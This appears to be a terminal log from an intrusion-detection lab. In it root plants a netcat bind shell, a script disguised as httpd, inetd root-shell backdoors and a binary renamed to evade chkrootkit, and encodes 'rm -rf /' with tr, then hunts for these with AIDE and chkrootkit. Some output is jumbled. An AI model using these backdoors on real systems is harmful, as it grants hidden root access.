/l3/trainings/xg-ids/2005-12-19/fbsd1.linux.nt/root :1 :2 :3 :4 :5 :6 :7 :8 |
|
#which nc
/usr/bin/nc |
#net
![]() net-snmp-config network-admin netstat networkstatustestservice |
#cd ..
|
#/usr/local/bin/n
![]() nc newuser nspluginscan neon-config ngettext nspluginviewer net-snmp-config noatun nspr-config networkstatustestservice noncvslist |
#/usr/local/bin/n
![]() nc newuser nspluginscan neon-config ngettext nspluginviewer net-snmp-config noatun nspr-config networkstatustestservice noncvslist |
#/usr/local/bin/nc -e /bin/sh -l 3000
![]() ^C punt! |
#/usr/local/bin/nc -e /bin/sh -l -p 0
![]() ^C |
#nohup ocal/bin/nc -e /bin/sh -l -p 3000 &
[1] 79200 appending output to nohup.out |
#ps
PID TT STAT TIME COMMAND 617 v0 Is+ 0:00.05 login [pam] (login) 618 v1 Is+ 0:00.00 /usr/libexec/getty Pc ttyv1 619 v2 Is+ 0:00.00 /usr/libexec/getty Pc ttyv2 620 v3 Is+ 0:00.00 /usr/libexec/getty Pc ttyv3 621 v4 Is+ 0:00.00 /usr/libexec/getty Pc ttyv4 622 v5 Is+ 0:00.00 /usr/libexec/getty Pc ttyv5 623 v6 Is+ 0:00.00 /usr/libexec/getty Pc ttyv6 624 v7 Is+ 0:00.00 /usr/libexec/getty Pc ttyv7 381 con- S+ 2:59.38 sh /usr/local/sbin/syslog_mysql.sh ... 31753 p2 Ss+ 0:00.57 script -t 0 -q /root/.lilalo/ttyp2-31753.script 31789 p3 Ss 0:00.48 /usr/local/bin/bash -i 79200 p3 S 0:00.01 /usr/local/bin/nc -e /bin/sh -l -p 3000 79316 p3 R+ 0:00.00 ps 53551 p4 Is+ 0:00.11 script -t 0 -q /root/.lilalo/ttyp4-53551.script 53583 p5 Is+ 0:00.07 /usr/local/bin/bash -i 58658 p5 T 0:00.01 /bin/sh /usr/local/sbin/syslog_mysql.sh 58659 p5 T 0:00.04 /usr/local/bin/mysql -u syslogadmin --password=pass syslog 70893 p5 T 0:00.01 /bin/sh /usr/local/sbin/syslog_mysql.sh 71221 p5 T 0:00.02 /usr/local/bin/mysql -u syslogadmin --password=pass syslog |
#cd /root
|
#vi /root/megascript.pl
|
#perl /root/megascript.pl &
[2] 81768 |
#ps aux
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 27482 3.2 0.6 7360 6132 ?? Ss 10:19AM 2:31.73 l3-agent (perl5.8.7) root 381 1.3 0.1 1632 1088 con- S+ 9:24AM 3:01.08 sh /usr/local/sbin/syslog_mysql.sh root 81768 1.0 0.2 2740 2100 p3 S 11:30AM 0:00.01 httpd (perl5.8.7) root 97103 0.0 3.5 39948 36100 ?? S 10:50AM 0:19.48 kdeinit: kdeinit: konqueror --silent ( root 0 0.0 0.0 0 0 ?? WLs 9:24AM 0:00.00 [swapper] root 1 0.0 0.0 724 356 ?? ILs 9:24AM 0:00.01 /sbin/init -- root 2 0.0 0.0 0 8 ?? DL 9:24AM 0:00.53 [g_event] root 3 0.0 0.0 0 8 ?? DL 9:24AM 0:01.66 [g_up] root 4 0.0 0.0 0 8 ?? DL 9:24AM 0:01.99 [g_down] ... root 31753 0.0 0.1 1260 820 p2 Ss+ 11:06AM 0:00.59 script -t 0 -q /root/.lilalo/ttyp2-317 root 31789 0.0 0.2 3204 2236 p3 Ss 11:06AM 0:00.50 /usr/local/bin/bash -i root 79200 0.0 0.0 616 480 p3 I 11:28AM 0:00.01 /usr/local/bin/nc -e /bin/sh -l -p 300 root 81841 0.0 0.1 1448 972 p3 R+ 11:30AM 0:00.00 ps aux root 53551 0.0 0.1 1260 820 p4 Is+ 9:46AM 0:00.11 script -t 0 -q /root/.lilalo/ttyp4-535 root 53583 0.0 0.2 3196 2208 p5 Is+ 9:46AM 0:00.07 /usr/local/bin/bash -i root 58658 0.0 0.1 1624 1144 p5 T 9:49AM 0:00.01 /bin/sh /usr/local/sbin/syslog_mysql.s root 58659 0.0 0.2 3140 2372 p5 T 9:49AM 0:00.04 /usr/local/bin/mysql -u syslogadmin -- root 70893 0.0 0.1 1628 1148 p5 T 9:54AM 0:00.01 /bin/sh /usr/local/sbin/syslog_mysql.s root 71221 0.0 0.2 3140 2332 p5 T 9:54AM 0:00.02 /usr/local/bin/mysql -u syslogadmin -- |
#jobs
[1]- Running nohup /usr/local/bin/nc -e /bin/sh -l -p 3000 & (wd: /usr/ports/net/netcat) [2]+ Running perl /root/megascript.pl & |
#ps aux | grep htt
root 464 0.0 0.4 4596 4068 ?? Ss 9:24AM 0:00.44 /usr/local/sbin/httpd www 523 0.0 0.4 5036 4608 ?? I 9:24AM 0:00.06 /usr/local/sbin/httpd www 524 0.0 0.4 4656 4148 ?? I 9:24AM 0:00.00 /usr/local/sbin/httpd www 525 0.0 0.4 4936 4468 ?? I 9:24AM 0:00.03 /usr/local/sbin/httpd www 526 0.0 0.4 4656 4148 ?? I 9:24AM 0:00.00 /usr/local/sbin/httpd www 527 0.0 0.4 4668 4160 ?? I 9:24AM 0:00.00 /usr/local/sbin/httpd www 39266 0.0 0.4 5032 4608 ?? I 9:40AM 0:00.04 /usr/local/sbin/httpd www 50375 0.0 0.4 4636 4108 ?? I 9:45AM 0:00.00 /usr/local/sbin/httpd www 50404 0.0 0.4 4636 4108 ?? I 9:45AM 0:00.00 /usr/local/sbin/httpd www 50405 0.0 0.4 4636 4108 ?? I 9:45AM 0:00.00 /usr/local/sbin/httpd root 81768 0.0 0.2 2740 2100 p3 I 11:30AM 0:00.01 httpd (perl5.8.7) root 83852 0.0 0.2 3204 2236 p3 R+ 11:31AM 0:00.00 grep htt (bash) |
#ls -l /root/megascript.pl
-rw-r--r-- 1 root wheel 56 Dec 20 11:30 /root/megascript.pl |
#scp /root/megascript.pl m03:/root
The authenticity of host 'linux3.linux.nt (192.168.15.3)' can't be established. DSA key fingerprint is 8e:02:fd:ce:f5:93:99:c1:b4:a5:85:57:32:c7:64:de. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'linux3.linux.nt' (DSA) to the list of known hosts. root@linux3.linux.nt's password: megascript.pl 100% 56 0.1KB/s 00:00 |
#ssh m03
root@linux3.linux.nt's password: Last login: Tue Dec 20 09:57:07 2005 from linux.nt |
#perl megascript.pl &
[1] 5215 |
#ps aux | hrep httpd
![]() -bash: hrep: command not found |
#ps aux | g
root 3479 0.0 0.5 13896 5752 ? S 09:21 0:00 /usr/sbin/httpd apache 3493 0.0 0.6 14236 6504 ? S 09:21 0:00 /usr/sbin/httpd apache 3494 0.0 0.6 14208 6488 ? S 09:21 0:00 /usr/sbin/httpd apache 3495 0.0 0.5 14028 5872 ? S 09:21 0:00 /usr/sbin/httpd apache 3496 0.0 0.6 14252 6524 ? S 09:21 0:00 /usr/sbin/httpd apache 3497 0.0 0.5 14028 5872 ? S 09:21 0:00 /usr/sbin/httpd apache 3498 0.0 0.6 14320 6476 ? S 09:21 0:00 /usr/sbin/httpd apache 3499 0.0 0.6 14232 6468 ? S 09:21 0:00 /usr/sbin/httpd apache 3500 0.0 0.5 14028 5872 ? S 09:21 0:00 /usr/sbin/httpd root 5215 0.0 0.1 5840 1228 pts/3 S 11:32 0:00 httpd root 5262 0.0 0.0 4744 740 pts/3 S 11:32 0:00 grep httpd |
#logout
Read from remote host linux3.linux.nt: Connection reset by peer Connection to linux3.linux.nt closed. |
#ps aux | grep l3-a
root 27482 0.5 0.6 7360 6132 ?? Ss 10:19AM 2:34.61 l3-agent (perl5.8.7) root 88424 0.0 0.1 1436 652 p7 R+ 11:33AM 0:00.00 grep l3-a |
#vi /usr/local/bin/l3
![]() 79c79 < "daemon_sleep_interval" => "1", --- > "daemon_sleep_interval" => "10", |
#vi /usr/local/bin/l3config.pm
|
#killall l3-agent
![]() No matching processes were found |
#ps aux | grep l3-agent
root 27482 4.7 0.6 7360 6132 ?? Ss 10:19AM 2:36.74 l3-agent (perl5.8.7) root 89634 0.0 0.1 1440 968 p7 RL+ 11:33AM 0:00.00 grep l3-agent |
#kill 27482
|
#l3-agent
|
#find / -perm +1000
![]() /tmp /tmp/.X11-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.XIM-unix ^C |
#find / -perm +400
![]() /tmp/.vi /usr/bin/at /usr/bin/atq /usr/bin/atrm /usr/bin/batch /usr/bin/chpass /usr/bin/chfn /usr/bin/chsh /usr/bin/ypchpass /usr/bin/ypchfn ... /usr/sbin/authpf /usr/sbin/mrinfo /usr/sbin/mtrace /usr/sbin/ppp /usr/sbin/pppd /usr/sbin/sliplogin /usr/sbin/timedc /usr/sbin/traceroute /usr/sbin/traceroute6 ^C |
#find / -perm +4000 -exec md5 {} \; > /tmp/suid-md5-1
|
#less /tmp/suid-md5-1
|
#echo X >> /usr/bin/lpr
|
#find / -perm +4000 -exec md5 {} \; > /tmp/suid-md5-22
|
#diff /tmp/suid-md5-*
![]() 23c23 < MD5 (/usr/bin/lpr) = 9a6927f21e99591fa28f47856c1d6eff --- > MD5 (/usr/bin/lpr) = 96b333843d9fce9275011e3494d6aa45 |
#make search aide
![]() The search target requires a keyword parameter or name parameter, e.g.: "make search key=somekeyword" or "make search name=somekeyword" make: don't know how to make aide. Stop |
#make search "aide"
![]() The search target requires a keyword parameter or name parameter, e.g.: "make search key=somekeyword" or "make search name=somekeyword" make: don't know how to make aide. Stop |
#make search name=
Port: aide-0.10_1 Path: /usr/ports/security/aide Info: A replacement and extension for Tripwire Maint: cy@FreeBSD.org B-deps: bison-1.75_2 gettext-0.14.5 gmake-3.80_2 libiconv-1.9.2_1 m4-1.4.3 mhash-0.9.2 R-deps: mhash-0.9.2 WWW: http://sourceforge.net/projects/aide |
#cd /security/aide
![]() bash: cd: /security/aide: No such file or directory |
#pwd
/usr/ports |
#cd /security/aide/
![]() bash: cd: /security/aide/: No such file or directory |
#cd /security/
![]() bash: cd: /security/: No such file or directory |
#ls
.cvsignore audio french misc ukrainian CHANGES benchmarks ftp multimedia vietnamese INDEX-6 biology games net www LEGAL cad german net-mgmt x11 MOVED chinese graphics news x11-clocks Makefile comms hebrew palm x11-fm Mk converters hungarian polish x11-fonts README databases irc portuguese x11-servers Templates deskutils japanese print x11-themes Tools devel java russian x11-toolkits UPDATING distfiles korean science x11-wm accessibility dns lang security arabic editors mail shells archivers emulators math sysutils astro finance mbone textproc |
#cd security
|
#cd aide
|
#make install
cd libltdl && make local-install-files rm -rf /usr/local/share/libtool13/libltdl /bin/sh ./../mkinstalldirs /usr/local/share/libtool13/libltdl mkdir /usr/local/share/libtool13/libltdl Making install in libltdl /bin/sh ./../mkinstalldirs /usr/local/lib /bin/sh ./../mkinstalldirs /usr/local/include Making install in doc /bin/sh ../mkinstalldirs /usr/local/info install -o root -g wheel -m 444 ./libtool13.info /usr/local/info/libtool13.info ... checking for f77 option to produce PIC... -fPIC checking if f77 PIC flag -fPIC works... yes checking if f77 supports -c -o file.o... yes checking whether the f77 linker (/usr/bin/ld) supports shared libraries... yes checking dynamic linker characteristics... freebsd6.0 ld.so checking how to hardcode library paths into programs... immediate checking whether stripping libraries is possible... yes configure: creating ./config.status config.status: creating Makefile config.status: creating mhash.spec |
#cp /usr/local/etc/aide.conf.sample /var/db/aide/aide.conf
|
#cd /var/db/aide/
|
#a
![]() a2p amor artsd atq a52dec amq artsdsp atrm ab ancontrol artsmessage auconvert ac apachectl artsplay auctl accton apm artsrec audemo acpiconf apmd artsshell audial acpidb appletproxy artswrapper audiofile-config acpidump apply as auedit activation-client appres asa auinfo addbuiltin apr-1-config asf aupanel adddebug apropos aspell auphone addftinfo apu-1-config aspell-import auplay addr2line apxs assistant aurecord addresses ar at auscope adduser ark atacontrol authpf adjkerntz arlcontrol atlantik autool afmtodit arp atm autopoint aide artsbuilder atmarpd auwave akregator artsc-config atmconfig awk alias artscat atob amd artscontrol atobm |
#aaide --init
![]() bash: aaide: command not found |
#aide --init
AIDE, version 0.10 ### AIDE database initialized. |
#aide --chech
![]() aide: unrecognized option `--chech' Unknown option given. Exiting |
#aide --check
Couldn't open file /var/db/aide/databases/aide.db for reading |
#vi aide.conf
|
#viusr/local/etc/aide.conf
# # Templates: # (default) R : [R]ead-only (+p+i+n+u+g+s+m+md5+tiger+rmd160+sha1-a) # L : [L]og file (+p+i+n+u+g-s-a-m-md5-tiger-rmd160-sha1) # N : ignore [N]othing (+p+i+n+u+s+g+s+a+m+c+md5+tiger+rmd160+sha1) # E : ignore [E]verything (-p-i-n-u-s-g-s-a-m-c-md5-tiger-rmd160-sha1) # # By default, Tripwire uses the R template -- it ignores # only the access timestamp. # ... # # # Tripwire running slowly? Modify your tripwire.config entries to # ignore the (signature 2) attribute when this computationally-exorbitant # protection is not needed. (See README and design document for further # details.) # database=file:///var/db/aide/databases/aide.db database_out=file:///var/db/aide/databases/aide.db.new :q! |
#catsr/local/etc/aide.conf
# Preener will scan. Information collected from these files will be # stored in the tripwire.database file. # # Format: [!|=] entry [ignore-flags] # # where: '!' signifies the entry is to be pruned (inclusive) from # the list of files to be scanned. # '=' signifies the entry is to be added, but if it is # a directory, then all its contents are pruned # (useful for /tmp). ... /usr/libexec R-tiger-rmd160-sha1 /usr/local/bin R-tiger-rmd160-sha1 /usr/local/etc L /usr/local/lib R-tiger-rmd160-sha1 /usr/local/libexec R-tiger-rmd160-sha1 /usr/local/sbin R-tiger-rmd160-sha1 /usr/local/share R-tiger-rmd160-sha1 /usr/sbin R-tiger-rmd160-sha1 /usr/share R-tiger-rmd160-sha1 ########################################### |
#cat /usr/local/etc/aide.conf|more
|
#tcpdump
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on xl0, link-type EN10MB (Ethernet), capture size 96 bytes ^[[A ^C 0 packets captured 0 packets received by filter 0 packets dropped by kernel |
#pkg_add -r rootkit
![]() ^CSignal 2 received, cleaning up.. |
#pkg_add -r chktkit
Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-6.0-release/Latest/chkrootkit.tbz... Done. |
#chkrootkit
ROOTDIR is `/' Checking `amd'... not infected Checking `basename'... not infected Checking `biff'... not infected Checking `chfn'... not infected Checking `chsh'... not infected Checking `cron'... not infected Checking `date'... not infected Checking `du'... not infected Checking `dirname'... not infected ... Checking `bindshell'... not infected Checking `lkm'... chkproc: nothing detected Checking `rexedcs'... not found Checking `sniffer'... xl0 is not promisc Checking `w55808'... not infected Checking `wted'... chkwtmp: nothing deleted Checking `scalper'... not infected Checking `slapper'... not infected Checking `z2'... chklastlog: nothing deleted Checking `chkutmp'... chkutmp: nothing deleted |
#vi /etc/inetd.conf
20c20 < finger stream tcp nowait/3/10 root /bin/sh sh -i --- > #finger stream tcp nowait/3/10 root /bin/sh sh -i 89c89 < uucpd stream tcp nowait root /bin/sh sh -i --- > #uucpd stream tcp nowait root /bin/sh sh -i |
#man chkrootkit
![]() |
#chkrootkit --h
![]() Usage: /usr/local/sbin/chkrootkit [options] [test ...] Options: -h show this help and exit -V show version information and exit -l show available tests and exit -d debug -q quiet mode -x expert mode -r dir use dir as the root directory -p dir1:dir2:dirN path for the external commands used by chkrootkit -n skip NFS mounted dirs |
#chkrootkit -d
![]() + + /bin/echo Checking `mingetty'... \c Checking `mingetty'... + chk_mingetty + STATUS=1 + MINGETTY_INFECTED_LABEL=Dimensioni|pacchetto + loc mingetty mingetty /sbin /bin /usr/sbin /usr/bin /usr/games /usr/local/sbin /usr/local/bin /usr/X11R6/bin /root/bin /sbin /usr/sbin /lib /usr/lib /usr/libexec . + thing=mingetty + shift + dflt=mingetty + shift ... + : + test -f /usr/sbin/passwd + : + test -f /usr/bin/passwd + echo /usr/bin/passwd + exit 0 + CMD=/usr/bin/passwd + [ ! -x /usr/bin/passwd -a -x /usr/bin/passwd ] + [ = t ] + [ FreeBSD = OpenBSD -o FreeBSD = SunOS -o FreeBSD^C |
#vi /etc/inetd.conf
|
#chkrootkit -d | less
|
#chkrootkit -d 2>&1ess
u ifconfig inetd inetdconf identd init killall ldsopreload login ls lsof mail mingetty netstat named + printn Checking `identd'... + echo amd basename biff chfn chsh cron date du dirname echo egrep env find fingerd gpm grep hdparm s u ifconfig inetd inetdconf identd init killall ldsopreload login ls lsof mail mingetty netstat named passwd pidof pop2 pop3 ps pstree rpcinfo rlogind rshd slogin sendmail sshd syslogd tar tcpd tcpdump t op telnetd timed traceroute vdir w write|vejeta|\.arkeload login ls lsof mail mingetty netstat named + /usr/bin/egrep (^|[^A-Za-z0-9_])inetdconf([^A-Za-z0-9_]|$) sendmail sshd syslogd tar tcpd tcpdump t + [ != t -a != t ]meroute vdir w writer/bin /usr/games /usr/local/sbin /usr/local/bin /usr/X11R6/bi + printn Checking `inetdconf'... h cron date du dirname echo egrep env find fingerd gpm grep hdparm s + /bin/echo a\cp cn/dirnameidentd init killall ldsopreload login ls lsof mail mingetty netstat named ... + /usr/bin/egrep ^.*stream.*tcp.*nowait.*/bin/sh.*/games /usr/local/sbin /usr/local/bin /usr/X11R6/bi + [ 0 -ne 1 ]T_INFECTED_LABEL=PROMISCprint 0}r/libexec . + [ = t ]_INFECTED_LABEL=/dev/tux|/session.null0rm|^/prof|/dev/tux|file\.h fingerd gpm grep hdparm s + STATUS=0/sbin/inetd /sbin/ifconfigite$|vejeta|\.ark/usr/local/sbin /usr/local/bin /usr/X11R6/bin /r + cat /etc/inetd.confISCarmddirnameib /usr/libexec .d slogin sendmail sshd syslogd tar tcpd tcpdump t + /usr/bin/egrep -v ^#bin/.*sh$|bash|elite$|vejeta|\.ark + /usr/bin/egrep ^.*stream.*tcp.*nowait.*/bin/csh.* /usr/games /usr/local/sbin /usr/local/bin /usr/X1 + [ 1 -ne 1 ]r/sbin/inetd|/session.null$|vejeta|\.arklibexec . + cat /etc/inetd.confdi|vejeta|conf\.inv + /usr/bin/egrep -v ^#grepf|/dev/pty[pqrs]|^/prof|/home/virus|/security|file\.h |
#less /etc/inetd.conf
|
#vi /etc/inetd.conf
|
#cp /bin/sh /usr/local/libexec/uucpd
|
#chkrootkit
ROOTDIR is `/' Checking `amd'... not infected Checking `basename'... not infected Checking `biff'... not infected Checking `chfn'... not infected Checking `chsh'... not infected Checking `cron'... not infected Checking `date'... not infected Checking `du'... not infected Checking `dirname'... not infected ... Checking `bindshell'... not infected Checking `lkm'... chkproc: nothing detected Checking `rexedcs'... not found Checking `sniffer'... xl0 is not promisc Checking `w55808'... not infected Checking `wted'... chkwtmp: nothing deleted Checking `scalper'... not infected Checking `slapper'... not infected Checking `z2'... chklastlog: nothing deleted Checking `chkutmp'... chkutmp: nothing deleted |
#/etc/rc.d/inetd restart
Stopping inetd. Starting inetd. |
#telnet 127.0.0.1 uucp
Trying 127.0.0.1... Connected to localhost.linux.nt. Escape character is '^]'. ls / # .cshrc .mozilla .profile .snap .swatch_script.506 COPYRIGHT ... sbin sys tmp usr var ^D : not found ^] telnet> q Connection closed. |
#vi /etc/inetd.conf
88,89c88,89 < uucpd stream tcp nowait root /usr/local/libexec/uucpd uucpd < #uucpd stream tcp nowait root /bin/sh sh -i --- > #uucpd stream tcp nowait root /usr/local/libexec/uucpd uucpd > uucpd stream tcp nowait root /bin/sh sh -i |
#chkrootkit -x
![]() :digit:] :xdigit:] :space:] :punct:] :alnum:] :print:] :graph:] :cntrl:] :blank:] Memory exhausted ... -I equivalent to --binary-files=without-match -d, --directories=ACTION how to handle directories ACTION is 'read', 'recurse', or 'skip' -D, --devices=ACTION how to handle devices, FIFOs and sockets ACTION is 'read' or 'skip' -R, -r, --recursive equivalent to --directories=recurse --include=PATTERN files that match PATTERN will be examined --exclude=PATTERN files that match PATTERN will be skipped. --exclude-from=FILE files that match PATTERN in FILE will be skipped. -L, --files-without-match only print FILE names containing no match |
#chkrootkit -x | grep INFECTED
![]() INFECTED ^C |
#man grep
|
#chkrootkit -x | grep -A 5 -B 5
![]() .got .bss .comment Backdoor shell record(s) in /etc/inetd.conf: uucpd stream tcp nowait root /bin/sh sh -i INFECTED not found ### ### Output of: /usr/bin/strings -a /sbin/init ### Ht}N ^C |
#chkrootkit -x | less
|
#strings `which sshd` | grep /etc
/etc/ssh/sshd_config /etc/hosts.equiv /etc/ssh/shosts.equiv Accepted for %.100s [%.100s] by /etc/hosts.equiv. /etc/ssh/ssh_known_hosts /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_key /etc/motd /bin/sh /etc/ssh/sshrc /etc/ssh/ssh_known_hosts2 |
#echo sn -sg / | tr [za-y] [a-z]
to -th / |
#echo sn -sg / | tr [a-z] [za-y]
rm -rf / |
#echo sn=-sg= tr [a-z=@] [za-y /]
![]() usage: tr [-Ccsu] string1 string2 tr [-Ccu] -d string1 tr [-Ccu] -s string1 tr [-Ccu] -ds string1 string2 |
#echo sn=-sg=@ | tr '[a-z=@]' '[za-y /]'
rm -rf / |
#tr a Z
aaaaaaaaaaaaaaaaaa ZZZZZZZZZZZZZZZZZZ |
#tr ab ZY
sdfasfaaaaaabbbb sdfZsfZZZZZZYYYY |
#tr [a-z] [z-y]
![]() sn -sg rm -rf ^C |
#chkrootkit
ROOTDIR is `/' Checking `amd'... not infected Checking `basename'... not infected Checking `biff'... not infected Checking `chfn'... not infected Checking `chsh'... not infected Checking `cron'... not infected Checking `date'... not infected Checking `du'... not infected Checking `dirname'... not infected ... Checking `bindshell'... not infected Checking `lkm'... chkproc: nothing detected Checking `rexedcs'... not found Checking `sniffer'... xl0 is not promisc Checking `w55808'... not infected Checking `wted'... chkwtmp: nothing deleted Checking `scalper'... not infected Checking `slapper'... not infected Checking `z2'... chklastlog: nothing deleted Checking `chkutmp'... chkutmp: nothing deleted |
#chkrootkit -h
![]() Usage: /usr/local/sbin/chkrootkit [options] [test ...] Options: -h show this help and exit -V show version information and exit -l show available tests and exit -d debug -q quiet mode -x expert mode -r dir use dir as the root directory -p dir1:dir2:dirN path for the external commands used by chkrootkit -n skip NFS mounted dirs |
#tcpdump
14:01:35.512068 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 80841 win 31132 <nop,nop,timestamp 16617827 8170574> 14:01:35.512160 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 80841 win 32820 <nop,nop,timestamp 16617827 8170574> 14:01:35.765190 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 80841:82289(1448) ack 1 win 65535 <nop,nop,timestamp 8170827 16617827> 14:01:35.767093 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 82289:83737(1448) ack 1 win 65535 <nop,nop,timestamp 8170827 16617827> 14:01:35.767172 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 83737 win 32396 <nop,nop,timestamp 16618082 8170827> 14:01:35.768815 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 83737:85185(1448) ack 1 win 65535 <nop,nop,timestamp 8170827 16617827> 14:01:35.768917 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 85185 win 33208 <nop,nop,timestamp 16618084 8170827> 14:01:36.016515 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 85185:86633(1448) ack 1 win 65535 <nop,nop,timestamp 8171079 16618082> 14:01:36.018418 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 86633:88081(1448) ack 1 win 65535 <nop,nop,timestamp 8171079 16618082> 14:01:36.018495 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 88081 win 32580 <nop,nop,timestamp 16618333 8171079> ... 14:01:40.643488 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 187993:189441(1448) ack 1 win 65535 <nop,nop,timestamp 8175706 16622709> 14:01:40.645358 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 189441:190889(1448) ack 1 win 65535 <nop,nop,timestamp 8175706 16622709> 14:01:40.645437 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 190889 win 32068 <nop,nop,timestamp 16622960 8175706> 14:01:40.647143 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 190889:192337(1448) ack 1 win 65535 <nop,nop,timestamp 8175706 16622709> 14:01:40.647239 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 192337 win 32880 <nop,nop,timestamp 16622962 8175706> 14:01:40.648980 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 192337:193785(1448) ack 1 win 65535 <nop,nop,timestamp 8175710 16622714> 14:01:40.748776 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 193785 win 33304 <nop,nop,timestamp 16623064 8175710> 14:01:40.894363 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 193785:195233(1448) ack 1 win 65535 <nop,nop,timestamp 8175957 16622960> 14:01:40.896233 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 195233:196681(1448) ack 1 win 65535 <nop,nop,timestamp 8175957 16622960> 14:01:40.896318 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 196681 win 32580 <nop,nop,timestamp 16623211 8175957> |
#ping 192.168.15.22
root@193.111.9.10's password: Permission denied, please try again. root@193.111.9.10's password: Last login: Fri Dec 23 11:26:06 2005 from mail.tex.kiev.ua [root@ns /root]# uname -r 2.4.3-20mdk [root@ns /root]# cd /etc/ [root@ns /etc]# mount /dev/hda5 on / type ext2 (rw) none on /proc type proc (rw) ... 64 bytes from 192.168.15.22: icmp_seq=13 ttl=64 time=0.235 ms 64 bytes from 192.168.15.22: icmp_seq=14 ttl=64 time=0.284 ms 64 bytes from 192.168.15.22: icmp_seq=15 ttl=64 time=0.256 ms 64 bytes from 192.168.15.22: icmp_seq=16 ttl=64 time=0.263 ms 64 bytes from 192.168.15.22: icmp_seq=17 ttl=64 time=0.264 ms 64 bytes from 192.168.15.22: icmp_seq=18 ttl=64 time=0.270 ms ^C --- 192.168.15.22 ping statistics --- 19 packets transmitted, 19 packets received, 0% packet loss round-trip min/avg/max/stddev = 0.235/0.273/0.453/0.044 ms |
#ethereal
![]() bash: ethereal: command not found |
#plg_add -r
![]() bash: plg_add: command not found |
Bor'ba vyponyaetsya podruchnymi instrumentami
Время первой команды журнала | 11:27:32 2006-12-20 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Время последней команды журнала | 14:01:14 2006-12-20 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Количество командных строк в журнале | 101 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Процент команд с ненулевым кодом завершения, % | 14.85 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Процент синтаксически неверно набранных команд, % | 3.96 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Суммарное время работы с терминалом *, час | 1.38 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Количество командных строк в единицу времени, команда/мин | 1.22 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Частота использования команд |
|
В журнал автоматически попадают все команды, данные в любом терминале системы.
Для того чтобы убедиться, что журнал на текущем терминале ведётся, и команды записываются, дайте команду w. В поле WHAT, соответствующем текущему терминалу, должна быть указана программа script.
Команды, при наборе которых были допущены синтаксические ошибки, выводятся перечёркнутым текстом:
$ l s-l bash: l: command not found |
Если код завершения команды равен нулю, команда была выполнена без ошибок. Команды, код завершения которых отличен от нуля, выделяются цветом.
$ test 5 -lt 4 |
Команды, ход выполнения которых был прерван пользователем, выделяются цветом.
$ find / -name abc find: /home/devi-orig/.gnome2: Keine Berechtigung find: /home/devi-orig/.gnome2_private: Keine Berechtigung find: /home/devi-orig/.nautilus/metafiles: Keine Berechtigung find: /home/devi-orig/.metacity: Keine Berechtigung find: /home/devi-orig/.inkscape: Keine Berechtigung ^C |
Команды, выполненные с привилегиями суперпользователя, выделяются слева красной чертой.
# id uid=0(root) gid=0(root) Gruppen=0(root) |
Изменения, внесённые в текстовый файл с помощью редактора, запоминаются и показываются в журнале в формате ed. Строки, начинающиеся символом "<", удалены, а строки, начинающиеся символом ">" -- добавлены.
$ vi ~/.bashrc
|
Для того чтобы изменить файл в соответствии с показанными в диффшоте изменениями, можно воспользоваться командой patch. Нужно скопировать изменения, запустить программу patch, указав в качестве её аргумента файл, к которому применяются изменения, и всавить скопированный текст:
$ patch ~/.bashrc |
Для того чтобы получить краткую справочную информацию о команде, нужно подвести к ней мышь. Во всплывающей подсказке появится краткое описание команды.
Если справочная информация о команде есть, команда выделяется голубым фоном, например: vi. Если справочная информация отсутствует, команда выделяется розовым фоном, например: notepad.exe. Справочная информация может отсутствовать в том случае, если (1) команда введена неверно; (2) если распознавание команды LiLaLo выполнено неверно; (3) если информация о команде неизвестна LiLaLo. Последнее возможно для редких команд.
Большие, в особенности многострочные, всплывающие подсказки лучше всего показываются браузерами KDE Konqueror, Apple Safari и Microsoft Internet Explorer. В браузерах Mozilla и Firefox они отображаются не полностью, а вместо перевода строки выводится специальный символ.
Время ввода команды, показанное в журнале, соответствует времени начала ввода командной строки, которое равно тому моменту, когда на терминале появилось приглашение интерпретатора
